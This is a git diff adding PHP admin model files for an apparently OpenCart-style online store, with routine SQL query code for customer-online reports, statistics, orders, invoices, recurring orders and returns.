@@ -0,0 +1,60 @@
+db->escape($data['filter_ip']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "co.customer_id > 0 AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " ORDER BY co.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOnline($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_online` co LEFT JOIN " . DB_PREFIX . "customer c ON (co.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "co.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "co.customer_id > 0 AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/report/statistics.php b/public/admin/model/report/statistics.php
new file mode 100644
index 0000000..9fe77d1
--- /dev/null
+++ b/public/admin/model/report/statistics.php
@@ -0,0 +1,30 @@
+db->query("SELECT * FROM " . DB_PREFIX . "statistics");
+
+ return $query->rows;
+ }
+
+ public function getValue($code) {
+ $query = $this->db->query("SELECT value FROM " . DB_PREFIX . "statistics WHERE `code` = '" . $this->db->escape($code) . "'");
+
+ if ($query->num_rows) {
+ return $query->row['value'];
+ } else {
+ return null;
+ }
+ }
+
+ public function addValue($code, $value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "statistics SET `value` = (`value` + '" . (float)$value . "') WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function editValue($code, $value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "statistics SET `value` = '" . (float)$value . "' WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function removeValue($code, $value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "statistics SET `value` = (`value` - '" . (float)$value . "') WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+}
diff --git a/public/admin/model/sale/order.php b/public/admin/model/sale/order.php
new file mode 100644
index 0000000..e519ca2
--- /dev/null
+++ b/public/admin/model/sale/order.php
@@ -0,0 +1,478 @@
+db->query("SELECT *, (SELECT CONCAT(c.firstname, ' ', c.lastname) FROM " . DB_PREFIX . "customer c WHERE c.customer_id = o.customer_id) AS customer, (SELECT os.name FROM " . DB_PREFIX . "order_status os WHERE os.order_status_id = o.order_status_id AND os.language_id = '" . (int)$this->config->get('config_language_id') . "') AS order_status FROM `" . DB_PREFIX . "order` o WHERE o.order_id = '" . (int)$order_id . "'");
+
+ if ($order_query->num_rows) {
+ $country_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "country` WHERE country_id = '" . (int)$order_query->row['payment_country_id'] . "'");
+
+ if ($country_query->num_rows) {
+ $payment_iso_code_2 = $country_query->row['iso_code_2'];
+ $payment_iso_code_3 = $country_query->row['iso_code_3'];
+ } else {
+ $payment_iso_code_2 = '';
+ $payment_iso_code_3 = '';
+ }
+
+ $zone_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "zone` WHERE zone_id = '" . (int)$order_query->row['payment_zone_id'] . "'");
+
+ if ($zone_query->num_rows) {
+ $payment_zone_code = $zone_query->row['code'];
+ } else {
+ $payment_zone_code = '';
+ }
+
+ $country_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "country` WHERE country_id = '" . (int)$order_query->row['shipping_country_id'] . "'");
+
+ if ($country_query->num_rows) {
+ $shipping_iso_code_2 = $country_query->row['iso_code_2'];
+ $shipping_iso_code_3 = $country_query->row['iso_code_3'];
+ } else {
+ $shipping_iso_code_2 = '';
+ $shipping_iso_code_3 = '';
+ }
+
+ $zone_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "zone` WHERE zone_id = '" . (int)$order_query->row['shipping_zone_id'] . "'");
+
+ if ($zone_query->num_rows) {
+ $shipping_zone_code = $zone_query->row['code'];
+ } else {
+ $shipping_zone_code = '';
+ }
+
+ $reward = 0;
+
+ $order_product_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'");
+
+ foreach ($order_product_query->rows as $product) {
+ $reward += $product['reward'];
+ }
+
+ $this->load->model('customer/customer');
+
+ $affiliate_info = $this->model_customer_customer->getCustomer($order_query->row['affiliate_id']);
+
+ if ($affiliate_info) {
+ $affiliate_firstname = $affiliate_info['firstname'];
+ $affiliate_lastname = $affiliate_info['lastname'];
+ } else {
+ $affiliate_firstname = '';
+ $affiliate_lastname = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($order_query->row['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ return array(
+ 'order_id' => $order_query->row['order_id'],
+ 'invoice_no' => $order_query->row['invoice_no'],
+ 'invoice_prefix' => $order_query->row['invoice_prefix'],
+ 'store_id' => $order_query->row['store_id'],
+ 'store_name' => $order_query->row['store_name'],
+ 'store_url' => $order_query->row['store_url'],
+ 'customer_id' => $order_query->row['customer_id'],
+ 'customer' => $order_query->row['customer'],
+ 'customer_group_id' => $order_query->row['customer_group_id'],
+ 'firstname' => $order_query->row['firstname'],
+ 'lastname' => $order_query->row['lastname'],
+ 'email' => $order_query->row['email'],
+ 'telephone' => $order_query->row['telephone'],
+ 'custom_field' => json_decode($order_query->row['custom_field'], true),
+ 'payment_firstname' => $order_query->row['payment_firstname'],
+ 'payment_lastname' => $order_query->row['payment_lastname'],
+ 'payment_company' => $order_query->row['payment_company'],
+ 'payment_address_1' => $order_query->row['payment_address_1'],
+ 'payment_address_2' => $order_query->row['payment_address_2'],
+ 'payment_postcode' => $order_query->row['payment_postcode'],
+ 'payment_city' => $order_query->row['payment_city'],
+ 'payment_zone_id' => $order_query->row['payment_zone_id'],
+ 'payment_zone' => $order_query->row['payment_zone'],
+ 'payment_zone_code' => $payment_zone_code,
+ 'payment_country_id' => $order_query->row['payment_country_id'],
+ 'payment_country' => $order_query->row['payment_country'],
+ 'payment_iso_code_2' => $payment_iso_code_2,
+ 'payment_iso_code_3' => $payment_iso_code_3,
+ 'payment_address_format' => $order_query->row['payment_address_format'],
+ 'payment_custom_field' => json_decode($order_query->row['payment_custom_field'], true),
+ 'payment_method' => $order_query->row['payment_method'],
+ 'payment_code' => $order_query->row['payment_code'],
+ 'shipping_firstname' => $order_query->row['shipping_firstname'],
+ 'shipping_lastname' => $order_query->row['shipping_lastname'],
+ 'shipping_company' => $order_query->row['shipping_company'],
+ 'shipping_address_1' => $order_query->row['shipping_address_1'],
+ 'shipping_address_2' => $order_query->row['shipping_address_2'],
+ 'shipping_postcode' => $order_query->row['shipping_postcode'],
+ 'shipping_city' => $order_query->row['shipping_city'],
+ 'shipping_zone_id' => $order_query->row['shipping_zone_id'],
+ 'shipping_zone' => $order_query->row['shipping_zone'],
+ 'shipping_zone_code' => $shipping_zone_code,
+ 'shipping_country_id' => $order_query->row['shipping_country_id'],
+ 'shipping_country' => $order_query->row['shipping_country'],
+ 'shipping_iso_code_2' => $shipping_iso_code_2,
+ 'shipping_iso_code_3' => $shipping_iso_code_3,
+ 'shipping_address_format' => $order_query->row['shipping_address_format'],
+ 'shipping_custom_field' => json_decode($order_query->row['shipping_custom_field'], true),
+ 'shipping_method' => $order_query->row['shipping_method'],
+ 'shipping_code' => $order_query->row['shipping_code'],
+ 'comment' => $order_query->row['comment'],
+ 'total' => $order_query->row['total'],
+ 'reward' => $reward,
+ 'order_status_id' => $order_query->row['order_status_id'],
+ 'order_status' => $order_query->row['order_status'],
+ 'affiliate_id' => $order_query->row['affiliate_id'],
+ 'affiliate_firstname' => $affiliate_firstname,
+ 'affiliate_lastname' => $affiliate_lastname,
+ 'commission' => $order_query->row['commission'],
+ 'language_id' => $order_query->row['language_id'],
+ 'language_code' => $language_code,
+ 'currency_id' => $order_query->row['currency_id'],
+ 'currency_code' => $order_query->row['currency_code'],
+ 'currency_value' => $order_query->row['currency_value'],
+ 'ip' => $order_query->row['ip'],
+ 'forwarded_ip' => $order_query->row['forwarded_ip'],
+ 'user_agent' => $order_query->row['user_agent'],
+ 'accept_language' => $order_query->row['accept_language'],
+ 'date_added' => $order_query->row['date_added'],
+ 'date_modified' => $order_query->row['date_modified']
+ );
+ } else {
+ return;
+ }
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT o.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, (SELECT os.name FROM " . DB_PREFIX . "order_status os WHERE os.order_status_id = o.order_status_id AND os.language_id = '" . (int)$this->config->get('config_language_id') . "') AS order_status, o.shipping_code, o.total, o.currency_code, o.currency_value, o.date_added, o.date_modified FROM `" . DB_PREFIX . "order` o";
+
+ if (!empty($data['filter_order_status'])) {
+ $implode = array();
+
+ $order_statuses = explode(',', $data['filter_order_status']);
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "o.order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE (" . implode(" OR ", $implode) . ")";
+ }
+ } elseif (isset($data['filter_order_status_id']) && $data['filter_order_status_id'] !== '') {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $sql .= " AND o.order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(o.firstname, ' ', o.lastname) LIKE '%" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(o.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $sql .= " AND DATE(o.date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if (!empty($data['filter_total'])) {
+ $sql .= " AND o.total = '" . (float)$data['filter_total'] . "'";
+ }
+
+ $sort_data = array(
+ 'o.order_id',
+ 'customer',
+ 'order_status',
+ 'o.date_added',
+ 'o.date_modified',
+ 'o.total'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY o.order_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getOrderProducts($order_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getOrderOptions($order_id, $order_product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$order_product_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getOrderVouchers($order_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_voucher WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getOrderVoucherByVoucherId($voucher_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "order_voucher` WHERE voucher_id = '" . (int)$voucher_id . "'");
+
+ return $query->row;
+ }
+
+ public function getOrderTotals($order_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_total WHERE order_id = '" . (int)$order_id . "' ORDER BY sort_order");
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order`";
+
+ if (!empty($data['filter_order_status'])) {
+ $implode = array();
+
+ $order_statuses = explode(',', $data['filter_order_status']);
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE (" . implode(" OR ", $implode) . ")";
+ }
+ } elseif (isset($data['filter_order_status_id']) && $data['filter_order_status_id'] !== '') {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $sql .= " AND order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(firstname, ' ', lastname) LIKE '%" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $sql .= " AND DATE(date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if (!empty($data['filter_total'])) {
+ $sql .= " AND total = '" . (float)$data['filter_total'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByStoreId($store_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE store_id = '" . (int)$store_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByOrderStatusId($order_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE order_status_id = '" . (int)$order_status_id . "' AND order_status_id > '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByProcessingStatus() {
+ $implode = array();
+
+ $order_statuses = $this->config->get('config_processing_status');
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE " . implode(" OR ", $implode));
+
+ return $query->row['total'];
+ } else {
+ return 0;
+ }
+ }
+
+ public function getTotalOrdersByCompleteStatus() {
+ $implode = array();
+
+ $order_statuses = $this->config->get('config_complete_status');
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE " . implode(" OR ", $implode) . "");
+
+ return $query->row['total'];
+ } else {
+ return 0;
+ }
+ }
+
+ public function getTotalOrdersByLanguageId($language_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE language_id = '" . (int)$language_id . "' AND order_status_id > '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByCurrencyId($currency_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "order` WHERE currency_id = '" . (int)$currency_id . "' AND order_status_id > '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalSales($data = array()) {
+ $sql = "SELECT SUM(total) AS total FROM `" . DB_PREFIX . "order`";
+
+ if (!empty($data['filter_order_status'])) {
+ $implode = array();
+
+ $order_statuses = explode(',', $data['filter_order_status']);
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE (" . implode(" OR ", $implode) . ")";
+ }
+ } elseif (isset($data['filter_order_status_id']) && $data['filter_order_status_id'] !== '') {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $sql .= " AND order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(firstname, ' ', lastname) LIKE '%" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $sql .= " AND DATE(date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if (!empty($data['filter_total'])) {
+ $sql .= " AND total = '" . (float)$data['filter_total'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function createInvoiceNo($order_id) {
+ $order_info = $this->getOrder($order_id);
+
+ if ($order_info && !$order_info['invoice_no']) {
+ $query = $this->db->query("SELECT MAX(invoice_no) AS invoice_no FROM `" . DB_PREFIX . "order` WHERE invoice_prefix = '" . $this->db->escape($order_info['invoice_prefix']) . "'");
+
+ if ($query->row['invoice_no']) {
+ $invoice_no = $query->row['invoice_no'] + 1;
+ } else {
+ $invoice_no = 1;
+ }
+
+ $this->db->query("UPDATE `" . DB_PREFIX . "order` SET invoice_no = '" . (int)$invoice_no . "', invoice_prefix = '" . $this->db->escape($order_info['invoice_prefix']) . "' WHERE order_id = '" . (int)$order_id . "'");
+
+ return $order_info['invoice_prefix'] . $invoice_no;
+ }
+ }
+
+ public function getOrderHistories($order_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT oh.date_added, os.name AS status, oh.comment, oh.notify FROM " . DB_PREFIX . "order_history oh LEFT JOIN " . DB_PREFIX . "order_status os ON oh.order_status_id = os.order_status_id WHERE oh.order_id = '" . (int)$order_id . "' AND os.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY oh.date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrderHistories($order_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "order_history WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrderHistoriesByOrderStatusId($order_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "order_history WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getEmailsByProductsOrdered($products, $start, $end) {
+ $implode = array();
+
+ foreach ($products as $product_id) {
+ $implode[] = "op.product_id = '" . (int)$product_id . "'";
+ }
+
+ $query = $this->db->query("SELECT DISTINCT email FROM `" . DB_PREFIX . "order` o LEFT JOIN " . DB_PREFIX . "order_product op ON (o.order_id = op.order_id) WHERE (" . implode(" OR ", $implode) . ") AND o.order_status_id <> '0' LIMIT " . (int)$start . "," . (int)$end);
+
+ return $query->rows;
+ }
+
+ public function getTotalEmailsByProductsOrdered($products) {
+ $implode = array();
+
+ foreach ($products as $product_id) {
+ $implode[] = "op.product_id = '" . (int)$product_id . "'";
+ }
+
+ $query = $this->db->query("SELECT COUNT(DISTINCT email) AS total FROM `" . DB_PREFIX . "order` o LEFT JOIN " . DB_PREFIX . "order_product op ON (o.order_id = op.order_id) WHERE (" . implode(" OR ", $implode) . ") AND o.order_status_id <> '0'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/sale/recurring.php b/public/admin/model/sale/recurring.php
new file mode 100644
index 0000000..b2655b5
--- /dev/null
+++ b/public/admin/model/sale/recurring.php
@@ -0,0 +1,197 @@
+db->escape($data['filter_reference']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(o.firstname, ' ', o.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_status'])) {
+ $implode[] = "or.status = " . (int)$data['filter_status'];
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(or.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'or.order_recurring_id',
+ 'or.order_id',
+ 'or.reference',
+ 'customer',
+ 'or.status',
+ 'or.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY or.order_recurring_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getRecurring($order_recurring_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_recurring WHERE order_recurring_id = " . (int)$order_recurring_id);
+
+ return $query->row;
+ }
+
+ public function getRecurringTransactions($order_recurring_id) {
+ $transactions = array();
+
+ $query = $this->db->query("SELECT amount, type, date_added FROM " . DB_PREFIX . "order_recurring_transaction WHERE order_recurring_id = " . (int)$order_recurring_id . " ORDER BY date_added DESC");
+
+ foreach ($query->rows as $result) {
+ switch ($result['type']) {
+ case 0:
+ $type = $this->language->get('text_transaction_date_added');
+ break;
+ case 1:
+ $type = $this->language->get('text_transaction_payment');
+ break;
+ case 2:
+ $type = $this->language->get('text_transaction_outstanding_payment');
+ break;
+ case 3:
+ $type = $this->language->get('text_transaction_skipped');
+ break;
+ case 4:
+ $type = $this->language->get('text_transaction_failed');
+ break;
+ case 5:
+ $type = $this->language->get('text_transaction_cancelled');
+ break;
+ case 6:
+ $type = $this->language->get('text_transaction_suspended');
+ break;
+ case 7:
+ $type = $this->language->get('text_transaction_suspended_failed');
+ break;
+ case 8:
+ $type = $this->language->get('text_transaction_outstanding_failed');
+ break;
+ case 9:
+ $type = $this->language->get('text_transaction_expired');
+ break;
+ default:
+ $type = '';
+ break;
+ }
+
+ $transactions[] = array(
+ 'date_added' => $result['date_added'],
+ 'amount' => $result['amount'],
+ 'type' => $type
+ );
+ }
+
+ return $transactions;
+ }
+
+ private function getStatus($status) {
+ switch ($status) {
+ case 1:
+ $result = $this->language->get('text_status_inactive');
+ break;
+ case 2:
+ $result = $this->language->get('text_status_active');
+ break;
+ case 3:
+ $result = $this->language->get('text_status_suspended');
+ break;
+ case 4:
+ $result = $this->language->get('text_status_cancelled');
+ break;
+ case 5:
+ $result = $this->language->get('text_status_expired');
+ break;
+ case 6:
+ $result = $this->language->get('text_status_pending');
+ break;
+ default:
+ $result = '';
+ break;
+ }
+
+ return $result;
+ }
+
+ public function getTotalRecurrings($data) {
+ $sql = "SELECT COUNT(*) AS `total` FROM `" . DB_PREFIX . "order_recurring` `or` LEFT JOIN `" . DB_PREFIX . "order` o ON (`or`.order_id = `o`.order_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_order_recurring_id'])) {
+ $implode[] .= "or.order_recurring_id = " . (int)$data['filter_order_recurring_id'];
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $implode[] .= "or.order_id = " . (int)$data['filter_order_id'];
+ }
+
+ if (!empty($data['filter_payment_reference'])) {
+ $implode[] .= " or.reference LIKE '" . $this->db->escape($data['filter_reference']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] .= "CONCAT(o.firstname, ' ', o.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_status'])) {
+ $implode[] .= "or.status = " . (int)$data['filter_status'];
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] .= "DATE(or.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/sale/return.php b/public/admin/model/sale/return.php
new file mode 100644
index 0000000..f3425e7
--- /dev/null
+++ b/public/admin/model/sale/return.php
@@ -0,0 +1,199 @@
+db->query("INSERT INTO `" . DB_PREFIX . "return` SET order_id = '" . (int)$data['order_id'] . "', product_id = '" . (int)$data['product_id'] . "', customer_id = '" . (int)$data['customer_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', product = '" . $this->db->escape($data['product']) . "', model = '" . $this->db->escape($data['model']) . "', quantity = '" . (int)$data['quantity'] . "', opened = '" . (int)$data['opened'] . "', return_reason_id = '" . (int)$data['return_reason_id'] . "', return_action_id = '" . (int)$data['return_action_id'] . "', return_status_id = '" . (int)$data['return_status_id'] . "', comment = '" . $this->db->escape($data['comment']) . "', date_ordered = '" . $this->db->escape($data['date_ordered']) . "', date_added = NOW(), date_modified = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editReturn($return_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "return` SET order_id = '" . (int)$data['order_id'] . "', product_id = '" . (int)$data['product_id'] . "', customer_id = '" . (int)$data['customer_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', product = '" . $this->db->escape($data['product']) . "', model = '" . $this->db->escape($data['model']) . "', quantity = '" . (int)$data['quantity'] . "', opened = '" . (int)$data['opened'] . "', return_reason_id = '" . (int)$data['return_reason_id'] . "', return_action_id = '" . (int)$data['return_action_id'] . "', comment = '" . $this->db->escape($data['comment']) . "', date_ordered = '" . $this->db->escape($data['date_ordered']) . "', date_modified = NOW() WHERE return_id = '" . (int)$return_id . "'");
+ }
+
+ public function deleteReturn($return_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "return` WHERE `return_id` = '" . (int)$return_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "return_history` WHERE `return_id` = '" . (int)$return_id . "'");
+ }
+
+ public function getReturn($return_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT CONCAT(c.firstname, ' ', c.lastname) FROM " . DB_PREFIX . "customer c WHERE c.customer_id = r.customer_id) AS customer, (SELECT rs.name FROM " . DB_PREFIX . "return_status rs WHERE rs.return_status_id = r.return_status_id AND rs.language_id = '" . (int)$this->config->get('config_language_id') . "') AS return_status FROM `" . DB_PREFIX . "return` r WHERE r.return_id = '" . (int)$return_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReturns($data = array()) {
+ $sql = "SELECT *, CONCAT(r.firstname, ' ', r.lastname) AS customer, (SELECT rs.name FROM " . DB_PREFIX . "return_status rs WHERE rs.return_status_id = r.return_status_id AND rs.language_id = '" . (int)$this->config->get('config_language_id') . "') AS return_status FROM `" . DB_PREFIX . "return` r";
+
+ $implode = array();
+
+ if (!empty($data['filter_return_id'])) {
+ $implode[] = "r.return_id = '" . (int)$data['filter_return_id'] . "'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $implode[] = "r.order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(r.firstname, ' ', r.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_product'])) {
+ $implode[] = "r.product = '" . $this->db->escape($data['filter_product']) . "'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $implode[] = "r.model = '" . $this->db->escape($data['filter_model']) . "'";
+ }
+
+ if (!empty($data['filter_return_status_id'])) {
+ $implode[] = "r.return_status_id = '" . (int)$data['filter_return_status_id'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $implode[] = "DATE(r.date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'r.return_id',
+ 'r.order_id',
+ 'customer',
+ 'r.product',
+ 'r.model',
+ 'status',
+ 'r.date_added',
+ 'r.date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.return_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
